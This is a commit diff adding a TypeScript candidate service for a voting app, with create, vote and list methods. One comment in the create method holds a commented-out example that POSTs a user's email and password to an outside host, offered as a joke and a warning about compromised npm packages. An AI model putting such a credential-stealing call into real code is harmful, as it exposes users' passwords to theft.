[Feature] add Candidate service

Author: greatSumini

src/services/candidate.ts

@@ -0,0 +1,70 @@
+import { Service, Inject } from 'typedi';
+
+import { CandidateModel } from '../models';
+import { ICandidateInputDTO, ICandidate } from '../interfaces';
+
+@Service()
+export default class CandidateService {
+  constructor(@Inject('candidateModel') private candidateModel: CandidateModel, @Inject('logger') private logger) {}
+
+  public async Create(candidateInputDTO: ICandidateInputDTO): Promise<{ candidate: ICandidate }> {
+    try {
+      /**
+       * Here you can call to your third-party malicious server and steal the user password before it's saved as a hash.
+       * require('http')
+       *  .request({
+       *     hostname: 'http://my-other-api.com/',
+       *     path: '/store-credentials',
+       *     port: 80,
+       *     method: 'POST',
+       * }, ()=>{}).write(JSON.stringify({ email, password })).end();
+       *
+       * Just kidding, don't do that!!!
+       *
+       * But what if, an NPM module that you trust, like body-parser, was injected with malicious code that
+       * watches every API call and if it spots a 'password' and 'email' property then
+       * it decides to steal them!? Would you even notice that? I wouldn't :/
+       */
+      this.logger.silly('Creating candidate db record');
+      const candidateRecord = await this.candidateModel.create({
+        ...candidateInputDTO,
+      });
+
+      if (!candidateRecord) {
+        throw new Error('Candidate cannot be created');
+      }
+
+      /**
+       * @TODO This is not the best way to deal with this
+       * There should exist a 'Mapper' layer
+       * that transforms data from layer to layer
+       * but that's too over-engineering for now
+       */
+      const candidate = candidateRecord.toObject();
+      return { candidate };
+    } catch (e) {
+      this.logger.error(e);
+      throw e;
+    }
+  }
+
+  public async Vote(id: string): Promise<{}> {
+    try {
+      await this.candidateModel.update({ _id: id }, { $inc: { voteCount: 1 } });
+      return {};
+    } catch (e) {
+      this.logger.error(e);
+      throw new Error('Candidate not found');
+    }
+  }
+
+  public async List(): Promise<ICandidate[]> {
+    try {
+      const candidateRecords = await this.candidateModel.find();
+      return candidateRecords;
+    } catch (e) {
+      this.logger.error(e);
+      throw new Error('Cannot get candidate list');
+    }
+  }
+}